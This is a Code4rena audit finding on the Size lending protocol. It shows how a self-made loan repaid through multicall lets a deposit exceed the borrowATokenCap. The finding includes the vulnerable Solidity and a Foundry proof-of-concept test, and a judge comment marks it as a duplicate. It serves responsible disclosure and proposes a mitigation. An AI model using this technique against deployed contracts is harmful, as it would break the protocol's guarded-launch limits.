Malicious users can perform a grief attack by repaying a loan to themselves using multicall to deposit tokens, thereby exceeding the borrowATokenCap.

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/CapsLibrary.sol#L19-L44

Vulnerability details

Impact

Malicious users can perform a grief attack by repaying a loan to themselves using multicall to deposit tokens, thereby exceeding the borrowATokenCap.

Bug Description

Let's first see the design reason for the borrowTokenCap: https://docs.size.credit/technical-docs/contracts/4.-faq

Q: What is the significance of the borrow token cap? It seems this cap is not really used anywhere except for a few functions that check if it hasn't been breached

A: The reason for the borrow token cap is to allow the protocol to have a "guarded launch", so that it can limit the supply as it grows. For example, in the beginning, while the TVL grows, the cap may be $1M in deposits, for example. However, as you may see, the protocol will still want to allow for debt reductions. So even if the cap is reached, all operations that increase the health of the system should be allowed (CapLibrary.sol). Projects may choose to do it for a number reasons. For example, to prevent growing at a faster pace than its security/safety/trust, perhaps to prevent growing before a bug bounty program is in place, etc.

Multicall allows temporary exceeding the cap because users may want to deposit tokens then repay their debt. There is a check in validateBorrowATokenIncreaseLteDebtTokenDecrease that the increase in borrow tokens must be less or equal to the decrease in debt.

However, if a user creates a loan to themselves, they can use multicall to repay this loan, and deposit as many borrow tokens into the protocol as they like, and exceeding borrowATokenCap.

It can be also done at a very low cost, since according to the protocol parameters, a user can create a loan with 1M USDC with 1 hour tenor, and the swap fee APR is 0.5%, which is 1M USDC * 0.5% * 1 hour / 365 days = 0.57 USDC. This means the malicious user only has to spend 0.57 USDC to deposit 1M USDC.

CapsLibrary.sol

    function validateBorrowATokenIncreaseLteDebtTokenDecrease(
        State storage state,
        uint256 borrowATokenSupplyBefore,
        uint256 debtTokenSupplyBefore,
        uint256 borrowATokenSupplyAfter,
        uint256 debtTokenSupplyAfter
    ) external view {
        // If the supply is above the cap
        if (borrowATokenSupplyAfter > state.riskConfig.borrowATokenCap) {
            uint256 borrowATokenSupplyIncrease = borrowATokenSupplyAfter > borrowATokenSupplyBefore
                ? borrowATokenSupplyAfter - borrowATokenSupplyBefore
                : 0;
            uint256 debtATokenSupplyDecrease =
                debtTokenSupplyBefore > debtTokenSupplyAfter ? debtTokenSupplyBefore - debtTokenSupplyAfter : 0;

            // and the supply increase is greater than the debt reduction
>           if (borrowATokenSupplyIncrease > debtATokenSupplyDecrease) {
                // revert
                revert Errors.BORROW_ATOKEN_INCREASE_EXCEEDS_DEBT_TOKEN_DECREASE(
                    borrowATokenSupplyIncrease, debtATokenSupplyDecrease
                );
            }
            // otherwise, it means the debt reduction was greater than the inflow of cash: do not revert
        }
        // otherwise, the supply is below the cap: do not revert
    }

Multicall.sol

    function multicall(State storage state, bytes[] calldata data) internal returns (bytes[] memory results) {
        state.data.isMulticall = true;

        uint256 borrowATokenSupplyBefore = state.data.borrowAToken.balanceOf(address(this));
        uint256 debtTokenSupplyBefore = state.data.debtToken.totalSupply();

        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }

        uint256 borrowATokenSupplyAfter = state.data.borrowAToken.balanceOf(address(this));
        uint256 debtTokenSupplyAfter = state.data.debtToken.totalSupply();

>       state.validateBorrowATokenIncreaseLteDebtTokenDecrease(
            borrowATokenSupplyBefore, debtTokenSupplyBefore, borrowATokenSupplyAfter, debtTokenSupplyAfter
        );

        state.data.isMulticall = false;
    }

Proof of Concept

Add the following code in Multicall.t.sol. The steps are as follow:

1. Set cap to 100 USDC.
2. Alice deposits 100 USDC.
3. Alice creates limit buy order with 100 USDC and 1 hour tenor.
4. Alice takes her own order, and creates a loan to herself.
5. Verify that direct deposit would trigger a revert.
6. Use multicall to deposit+repay and bypass the cap. Verify that the protocol has 200 USDC.

    function test_multicall() public {
        _setPrice(1e18);
        _updateConfig("borrowATokenCap", 100e6);

        _deposit(alice, usdc, 100e6);
        _deposit(alice, weth, 200e18);

        _buyCreditLimit(alice, block.timestamp + 1 hours, YieldCurveHelper.pointCurve(1 hours, 0.1e18));
        uint256 debtPositionId = _sellCreditMarket(alice, alice, RESERVED_ID, 100e6, 1 hours, true);
        uint256 futureValue = size.getDebtPosition(debtPositionId).futureValue;

        _mint(address(usdc), alice, 100e6);
        _approve(alice, address(usdc), address(size), 100e6);
        {
            vm.prank(alice);
            vm.expectRevert(abi.encodeWithSelector(Errors.BORROW_ATOKEN_CAP_EXCEEDED.selector, 100e6, 200e6));
            size.deposit(DepositParams({token: address(usdc), amount: 100e6, to: alice}));
        }

        bytes[] memory data = new bytes[](2);
        data[0] = abi.encodeCall(size.deposit, DepositParams({token: address(usdc), amount: 100e6, to: alice}));
        data[1] = abi.encodeCall(size.repay, RepayParams({debtPositionId: debtPositionId}));
        vm.prank(alice);
        size.multicall(data);

        assertEq(size.data().borrowAToken.totalSupply(), 200e6);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Don't allow a user to buy/sell his own limit order.

Assessed type

Other

[c4-judge]

hansfriese marked the issue as duplicate of #144

[c4-judge]

hansfriese marked the issue as satisfactory

[c4-judge]

hansfriese marked the issue as duplicate of #238